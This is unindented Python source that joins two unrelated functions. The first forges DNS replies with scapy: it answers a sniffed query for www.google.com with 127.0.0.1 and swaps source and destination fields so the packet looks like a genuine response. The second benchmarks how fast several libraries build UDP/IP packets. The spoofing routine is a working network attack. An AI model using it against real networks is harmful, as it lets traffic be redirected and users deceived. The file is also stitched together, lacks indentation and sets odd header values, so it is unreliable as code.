def procPacket(p):
#Lets grab the source mac and dst mac
eth_layer = p.getlayer(scapy.Ether)
src_mac = eth_layer.src
dst_mac = eth_layer.dst
#Now on to grabbing the src IP and dst IP
ip_layer = p.getlayer(scapy.IP)
src_ip = ip_layer.src
dst_ip = ip_layer.dst
#Woot..UDP Layer
udp_layer = p.getlayer(scapy.UDP)
src_port = udp_layer.sport
dst_port = udp_layer.dport
#And finally..the DNS layer
dns_layer = p.getlayer(scapy.DNS)
d = scapy.DNS()
d.id = dns_layer.id #Transaction ID
d.qr = 1 #1 for Response
d.opcode = 16
d.aa = 0
d.tc = 0
d.rd = 0
d.ra = 1
d.z = 8
d.rcode = 0
d.qdcount = 1 #Question Count
d.ancount = 1 #Answer Count
d.nscount = 0 #No Name server info
d.arcount = 0 #No additional records
d.qd = str(dns_layer.qd)
d.an = scapy.DNSRR(rrname="www.google.com.",
ttl=330,
type="A",
rclass="IN",
rdata="127.0.0.1")
#Send the spoofed packet away!
#Don't forget to switch stuffs lawl
spoofed = scapy.Ether(src=dst_mac, dst=src_mac) / scapy.IP(
src=dst_ip, dst=src_ip) / scapy.UDP(sport=dst_port, dport=src_port) / d
#Off we go!
scapy.sendp(spoofed, iface_hint=src_ip)
def compare_create(cnt):
"""
dpkt: 14915.2445937 pps
dpkt (manual): 15494.3632903 pps
impacket: 3929.30572776 pps
openbsd.packet: 1503.7928579 pps
scapy: 348.449269721 pps
xstruct: 88314.8953732 pps
"""
src = dnet.addr('1.2.3.4').ip
dst = dnet.addr('5.6.7.8').ip
data = 'hello world'
start = time.time()
for i in range(cnt):
dnet.ip_checksum(
str(
dpkt.ip.IP(src=src,
dst=dst,
p=dnet.IP_PROTO_UDP,
len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data),
data=dpkt.udp.UDP(sport=111,
dport=222,
ulen=dnet.UDP_HDR_LEN + len(data),
data=data))))
print('dpkt:', cnt / (time.time() - start), 'pps')
start = time.time()
for i in range(cnt):
dnet.ip_checksum(
str(
dpkt.ip.IP(src=src,
dst=dst,
p=dnet.IP_PROTO_UDP,
len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN +
len(data))) +
str(
dpkt.udp.UDP(
sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data))) +
data)
print('dpkt (manual):', cnt / (time.time() - start), 'pps')
start = time.time()
for i in range(cnt):
ip = ImpactPacket.IP()
ip.set_ip_src('1.2.3.4')
ip.set_ip_dst('5.6.7.8')
udp = ImpactPacket.UDP()
udp.set_uh_sport(111)
udp.set_uh_dport(222)
udp.contains(ImpactPacket.Data(data))
ip.contains(udp)
ip.get_packet()
print('impacket:', cnt / (time.time() - start), 'pps')
start = time.time()
for i in range(cnt):
p = packet.createPacket(packet.IP, packet.UDP)
p['ip'].src = '1.2.3.4'
p['ip'].dst = '5.6.7.8'
p['udp'].sport = 111
p['udp'].dport = 22
p['udp'].payload = data
p.finalise()
p.getRaw()
print('openbsd.packet:', cnt / (time.time() - start), 'pps')
start = time.time()
for i in range(cnt):
ip = scapy.IP(src='1.2.3.4', dst='5.6.7.8') / \
scapy.UDP(sport=111, dport=222) / data
ip.build()
print('scapy:', cnt / (time.time() - start), 'pps')
start = time.time()
for i in range(cnt):
udp = xudp()
udp.sport = 111
udp.dport = 222
udp.ulen = dnet.UDP_HDR_LEN + len(data)
ip = xip()
ip.src = src
ip.dst = dst
ip.p = dnet.IP_PROTO_UDP
ip.len = dnet.IP_HDR_LEN + udp.ulen
dnet.ip_checksum(str(ip) + str(udp) + data)
print('xstruct:', cnt / (time.time() - start), 'pps')